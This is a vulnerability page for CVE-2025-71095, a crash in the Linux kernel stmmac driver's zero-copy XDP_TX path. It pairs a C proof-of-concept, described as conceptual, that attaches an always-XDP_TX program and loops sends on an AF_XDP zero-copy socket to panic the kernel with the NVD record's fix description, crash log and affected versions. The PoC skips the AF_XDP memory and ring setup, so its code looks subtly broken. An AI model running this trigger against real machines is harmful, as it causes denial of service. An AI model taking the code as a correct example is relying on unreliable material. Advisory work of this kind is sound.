CVE-2025-71095

// PoC concept for CVE-2025-71095 - stmmac zero-copy XDP_TX crash // This is a conceptual PoC demonstrating the vulnerability trigger condition #include <linux/bpf.h> #include <linux/if_link.h> #include <assert.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libbpf.h> #include <bpf/libbpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/mman.h> // XDP program that forces XDP_TX action with zero-copy buffer SEC("xdp") int xdp_tx_zero_copy(struct xdp_md *ctx) { void *data = (void *)(long)ctx->data; void *data_end = (void *)(long)ctx->data_end; // Force XDP_TX to trigger the vulnerable code path // With AF_XDP zero-copy socket, the xdp_buff will have MEM_TYPE_PAGE_ORDER0 return XDP_TX; } int main(int argc, char **argv) { struct bpf_object *obj; struct bpf_program *prog; int ifindex, prog_fd, map_fd; struct bpf_map *xsk_map; if (argc < 2) { fprintf(stderr, "Usage: %s <ifindex>\n", argv[0]); return 1; } ifindex = atoi(argv[1]); // Load XDP program obj = bpf_object__open_file("xdp_tx_zero_copy.o", NULL); if (libbpf_get_error(obj)) { fprintf(stderr, "Error opening BPF object\n"); return 1; } bpf_object__load(obj); prog = bpf_object__find_program_by_name(obj, "xdp_tx_zero_copy"); prog_fd = bpf_program__fd(prog); // Attach XDP program bpf_xdp_attach(ifindex, prog_fd, XDP_FLAGS_DRV_MODE, NULL); // Create AF_XDP zero-copy socket and bind to interface // This setup triggers the zero-copy XSK pool path int sock = socket(AF_XDP, SOCK_RAW, 0); struct sockaddr_xdp addr = { .sxdp_family = AF_XDP, .sxdp_flags = XDP_ZEROCOPY, .sxdp_ifindex = ifindex, }; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // Send traffic to trigger XDP_TX with zero-copy buffers // This will cause the crash in stmmac_xdp_xmit_back() printf("Triggering zero-copy XDP_TX...\n"); while (1) { send(sock, "test", 4, 0); sleep(1); } return 0; } // Note: This PoC requires: // 1. Linux kernel with stmmac driver // 2. Network interface using stmmac driver (e.g., STM32, SoC Ethernet) // 3. AF_XDP zero-copy socket support // 4. The crash occurs due to memory type mismatch in stmmac_xdp_xmit_back()

{"cve": {"id": "CVE-2025-71095", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:09.347", "lastModified": "2026-03-25T17:28:09.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: fix the crash issue for zero copy XDP_TX action\n\nThere is a crash issue when running zero copy XDP_TX action, the crash\nlog is shown below.\n\n[ 216.122464] Unable to handle kernel paging request at virtual address fffeffff80000000\n[ 216.187524] Internal error: Oops: 0000000096000144 [#1] SMP\n[ 216.301694] Call trace:\n[ 216.304130] dcache_clean_poc+0x20/0x38 (P)\n[ 216.308308] __dma_sync_single_for_device+0x1bc/0x1e0\n[ 216.313351] stmmac_xdp_xmit_xdpf+0x354/0x400\n[ 216.317701] __stmmac_xdp_run_prog+0x164/0x368\n[ 216.322139] stmmac_napi_poll_rxtx+0xba8/0xf00\n[ 216.326576] __napi_poll+0x40/0x218\n[ 216.408054] Kernel panic - not syncing: Oops: Fatal exception in interrupt\n\nFor XDP_TX action, the xdp_buff is converted to xdp_frame by\nxdp_convert_buff_to_frame(). The memory type of the resulting xdp_frame\ndepends on the memory type of the xdp_buff. For page pool based xdp_buff\nit produces xdp_frame with memory type MEM_TYPE_PAGE_POOL. For zero copy\nXSK pool based xdp_buff it produces xdp_frame with memory type\nMEM_TYPE_PAGE_ORDER0. However, stmmac_xdp_xmit_back() does not check the\nmemory type and always uses the page pool type, this leads to invalid\nmappings and causes the crash. Therefore, check the xdp_buff memory type\nin stmmac_xdp_xmit_back() to fix this issue."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet: stmmac: solucionar el problema de bloqueo para la acción XDP_TX de copia cero\n\nExiste un problema de bloqueo al ejecutar la acción XDP_TX de copia cero; el registro de bloqueo se muestra a continuación.\n\n[ 216.122464] No se puede manejar la solicitud de paginación del kernel en la dirección virtual fffeffff80000000\n[ 216.187524] Error interno: Oops: 0000000096000144 [#1] SMP\n[ 216.301694] Traza de llamadas:\n[ 216.304130] dcache_clean_poc+0x20/0x38 (P)\n[ 216.308308] __dma_sync_single_for_device+0x1bc/0x1e0\n[ 216.313351] stmmac_xdp_xmit_xdpf+0x354/0x400\n[ 216.317701] __stmmac_xdp_run_prog+0x164/0x368\n[ 216.322139] stmmac_napi_poll_rxtx+0xba8/0xf00\n[ 216.326576] __napi_poll+0x40/0x218\n[ 216.408054] Pánico del kernel - no sincronizando: Oops: Excepción fatal en interrupción\n\nPara la acción XDP_TX, el xdp_buff se convierte a xdp_frame mediante xdp_convert_buff_to_frame(). El tipo de memoria del xdp_frame resultante depende del tipo de memoria del xdp_buff. Para xdp_buff basado en pool de páginas, produce xdp_frame con tipo de memoria MEM_TYPE_PAGE_POOL. Para xdp_buff basado en pool XSK de copia cero, produce xdp_frame con tipo de memoria MEM_TYPE_PAGE_ORDER0. Sin embargo, stmmac_xdp_xmit_back() no verifica el tipo de memoria y siempre usa el tipo de pool de páginas, lo que lleva a mapeos inválidos y causa el bloqueo. Por lo tanto, verifique el tipo de memoria del xdp_buff en stmmac_xdp_xmit_back() para solucionar este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13.1", "versionEndExcluding": "6.1.160", "matchCriteriaId": "3FBAAABD-8587-467D-A8CD-20FBC3E21451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.120", "matchCriteriaId": "43C3A206-5EEE-417B-AA0F-EF8972E7A9F0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.64", "matchCriteriaId": "32BF4A52-377C-44ED-B5E6-7EA5D896E98B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.4", "matchCriteriaId": "DC988EA0-0E32-457A-BF95-89BEB31A227B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.13:-:*:*:*:*:*:*", "matchCriteriaId": "8F0E7012-0BA3-4E6A-ADE9-57973CBDEE28"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId ... 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